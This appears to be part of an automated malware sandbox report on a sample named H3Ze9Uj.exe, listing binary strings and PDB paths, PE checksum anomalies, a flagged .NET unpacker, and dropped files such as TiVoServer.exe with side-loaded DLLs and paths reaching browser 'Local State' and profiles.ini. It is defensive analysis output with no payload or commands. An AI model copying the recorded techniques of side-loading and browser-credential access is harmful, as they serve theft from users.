00000009.00000003.1972472962.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070702379.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2030810151.0000000002E37000.00000004.00000001.00020000.00000000.sdmp,
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.iniFW{ source: Toolpatch_dbg.exe, 00000009.00000003.2212077485.0000000002E35000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2261280119.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2^CN source: Toolpatch_dbg.exe, 00000009.00000003.1832682362.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831528500.0000000002E24000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: PC:\Users\user\AppData\Local\Google\Chrome\User Data\.pdb\RX_INSTALL\_locales\trBR source: Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini&X source: Toolpatch_dbg.exe, 00000009.00000003.2212077485.0000000002E35000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2261280119.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Local StaterA source: Toolpatch_dbg.exe, 00000009.00000003.1830621556.0000000002E2D000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gC:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1832682362.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831528500.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: BROWSE~1.PDBBrowserMetricsdb source: Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002E92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: H3Ze9Uj.exe, 00000000.00000000.1336977352.0000000000D6B000.00000002.00000001.01000000.00000003.sdmp, H3Ze9Uj.exe, 00000000.00000002.1366197172.0000000000D6B000.00000002.00000001.01000000.00000003.sdmp, H3Ze9Uj.exe, 00000002.00000000.1340989250.0000000000D8B000.00000002.00000001.01000000.00000005.sdmp, H3Ze9Uj.exe, 00000002.00000002.1352787600.0000000000D8B000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: d\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2ew source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\ source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831" source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831 source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ..pdbd source: Toolpatch_dbg.exe, 00000009.00000003.1810570362.0000000002E92000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: [C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\11\CRX_INSTALL\_locales\zh_TW source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: TiVoServer.exe, 00000003.00000002.1384356941.0000000009C20000.00000004.00000800.00020000.00000000.sdmp, TiVoServer.exe, 00000003.00000002.1383465669.00000000098C0000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665949782.0000000005540000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000005.00000002.1665478515.0000000004C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: Toolpatch_dbg.exe, 00000009.00000002.2308110426.0000000004409000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307630948.0000000004001000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307140445.0000000003C0C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305242268.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307390113.0000000003E07000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304561142.000000000226A000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307863161.0000000004205000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2308360708.0000000004600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: `C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: f:\binaries.x86ret\bin\i386\Optimization\opt\bin\i386\vspkgs\msvb7.pdb source: H3Ze9Uj.exe, H3Ze9Uj.exe, 00000002.00000002.1359837579.000000006CF61000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\profiles.ini source: Toolpatch_dbg.exe, 00000009.00000003.2212077485.0000000002E35000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305618634.0000000002E0F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2261280119.0000000002E2F000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State + source: Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E44000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ~\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E42000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .pdb\ source: Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831; source: Toolpatch_dbg.exe, 00000009.00000003.1830845675.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830810979.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831676425.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830240113.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831204080.0000000002EAF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: Toolpatch_dbg.exe, 00000009.00000003.2069015530.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986928265.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054558922.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1871700164.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1947835494.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985206623.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108927331.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1999888859.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036252838.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053707513.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973657088.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014910148.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977906288.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2106769226.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033455031.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088823351.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048551522.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1904605665.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052103582.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1972472962.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070702379.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, To
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: Toolpatch_dbg.exe, 00000009.00000003.1837146144.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1832682362.0000000002E24000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831528500.0000000002E24000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: zC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdbA source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831230978.0000000002E62000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1831753428.0000000002E62000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Local State source: Toolpatch_dbg.exe, 00000009.00000003.2069015530.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986928265.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054558922.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1871700164.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1947835494.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1833657352.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985206623.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108927331.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1956822757.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1999888859.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036252838.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053707513.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973657088.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014910148.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1977906288.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1834310767.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2106769226.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1959787145.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2033455031.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2088823351.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048551522.0000000002E39000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2173592014.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1904605665.0000000002E3B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052103582.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1972472962.0000000002E37000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070702379.0000000002E3C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2030810151.0000000002E37000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: Toolpatch_dbg.exe, 00000009.00000002.2308110426.0000000004409000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307630948.0000000004001000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307140445.0000000003C0C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2305242268.0000000002BF0000.00000004.00001000.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307390113.0000000003E07000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2304561142.000000000226A000.00000004.00000020.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2307863161.0000000004205000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000002.2308360708.0000000004600000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: c:\tmp\author\3rdParty\loudmouth-1.3\loudmouth\Release\loudmouth.pdbl7 source: TiVoServer.exe, 00000003.00000002.1371391571.0000000000BC1000.00000002.00000001.01000000.00000010.sdmp, TiVoServer.exe, 00000004.00000002.1434590714.0000000000BFF000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: kC:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\tsz1 source: Toolpatch_dbg.exe, 00000009.00000003.1830392556.0000000002E5E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\build\b-tivo-desktop-2-8-3\b-tivo-desktop-2-8-3\author\MindClient\Bin\MindClient.pdbT source: TiVoServer.exe, 00000003.00000002.1371181532.0000000000B28000.00000002.00000001.01000000.0000000F.sdmp, TiVoServer.exe, 00000004.00000002.1433430914.0000000000B53000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: cshpingntkrnlmp.pdb source: Toolpatch_dbg.exe, 00000009.00000003.1830055083.0000000002E92000.00000004.00000001.00020000.00000000.sdmp

Source: H3Ze9Uj.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: H3Ze9Uj.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: H3Ze9Uj.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: H3Ze9Uj.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: H3Ze9Uj.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

.NET source code contains potential unpacker

Source: yiefm.19.dr, Helper.cs	.Net Code: Plugin System.Reflection.Assembly.Load(byte[])
Source: 19.2.cmd.exe.57100c8.7.raw.unpack, Helper.cs	.Net Code: Plugin System.Reflection.Assembly.Load(byte[])

Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe

Code function: 2_2_6CF63756 LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,

2_2_6CF63756

Source: Rtl60.bpl.14.dr	Static PE information: real checksum: 0x0 should be: 0xb6c49
Source: StlpMt45.dll.15.dr	Static PE information: real checksum: 0x0 should be: 0x9eb84
Source: Rtl60.bpl.2.dr	Static PE information: real checksum: 0x0 should be: 0xb6c49
Source: wspconfig.dll.2.dr	Static PE information: real checksum: 0x914c8 should be: 0x8ee9c
Source: Rtl60.bpl.15.dr	Static PE information: real checksum: 0x0 should be: 0xb6c49
Source: wspconfig.dll.15.dr	Static PE information: real checksum: 0x914c8 should be: 0x8ee9c
Source: StlpMt45.dll.2.dr	Static PE information: real checksum: 0x0 should be: 0x9eb84
Source: wspconfig.dll.3.dr	Static PE information: real checksum: 0x914c8 should be: 0x8ee9c
Source: yiefm.19.dr	Static PE information: real checksum: 0x0 should be: 0x27095
Source: loudmouth.dll.14.dr	Static PE information: real checksum: 0x0 should be: 0xb9a14
Source: wspconfig.dll.14.dr	Static PE information: real checksum: 0x914c8 should be: 0x8ee9c
Source: loudmouth.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0xb9a14
Source: CC3260MT.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x17353c
Source: pbomsmc.11.dr	Static PE information: real checksum: 0x28e751 should be: 0x28cb26
Source: CC3260MT.dll.14.dr	Static PE information: real checksum: 0x0 should be: 0x17353c
Source: StlpMt45.dll.3.dr	Static PE information: real checksum: 0x0 should be: 0x9eb84
Source: Ride.dll.2.dr	Static PE information: real checksum: 0x3ec4c6 should be: 0x3f26f7
Source: Rtl60.bpl.3.dr	Static PE information: real checksum: 0x0 should be: 0xb6c49
Source: loudmouth.dll.15.dr	Static PE information: real checksum: 0x0 should be: 0xb9a14
Source: StlpMt45.dll.14.dr	Static PE information: real checksum: 0x0 should be: 0x9eb84
Source: loudmouth.dll.2.dr	Static PE information: real checksum: 0x0 should be: 0xb9a14
Source: CC3260MT.dll.2.dr	Static PE information: real checksum: 0x0 should be: 0x17353c
Source: hkhaelupurucg.5.dr	Static PE information: real checksum: 0x28e751 should be: 0x28cb26
Source: CC3260MT.dll.15.dr	Static PE information: real checksum: 0x0 should be: 0x17353c

Source: H3Ze9Uj.exe	Static PE information: section name: .wixburn
Source: H3Ze9Uj.exe.0.dr	Static PE information: section name: .wixburn
Source: Toolpatch_dbg.exe.5.dr	Static PE information: section name: Shared
Source: hkhaelupurucg.5.dr	Static PE information: section name: .xdata
Source: hkhaelupurucg.5.dr	Static PE information: section name: hfqfs
Source: pbomsmc.11.dr	Static PE information: section name: .xdata
Source: pbomsmc.11.dr	Static PE information: section name: hfqfs

Source: C:\Users\user\Desktop\H3Ze9Uj.exe	Code function: 0_2_00D4EAD6 push ecx; ret	0_2_00D4EAE9
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_00D6EAD6 push ecx; ret	2_2_00D6EAE9
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF62B74 push eax; mov dword ptr [esp], 00000000h	2_2_6CF62C7C
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CFE8BBF push ecx; ret	2_2_6CFE8BD2
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF711B3 push esi; ret	2_2_6CF711B5
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF77148 pushfd ; ret	2_2_6CF77149
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	Code function: 2_2_6CF77128 pushfd ; ret	2_2_6CF77129
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B145C6 push ecx; ret	3_2_00B145D9
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	Code function: 3_2_00B18795 push ecx; ret	3_2_00B187A8

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Roaming\MSBuild.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\pbomsmc	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\Ride.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\Toolpatch_dbg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\StlpMt45.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\wspconfig.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Sprit\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Patchsystemv3\TiVoServer.exe	Jump to dropped file
Source: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\TiVoServer.exe	File created: C:\Users\user\AppData\Roaming\Servicewriter\CC3260MT.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Sprit\BorlndMm.dll	Jump to dropped file
Source: C:\Windows\Temp\{3345D0B7-B6EF-4E6B-BC68-F20FEDB82AB9}\.cr\H3Ze9Uj.exe	File created: C:\Windows\Temp\{84976FE6-0933-4035-BB6F-13D2EA2641B4}\.ba\CC3260MT.dll	Jump to dropped file
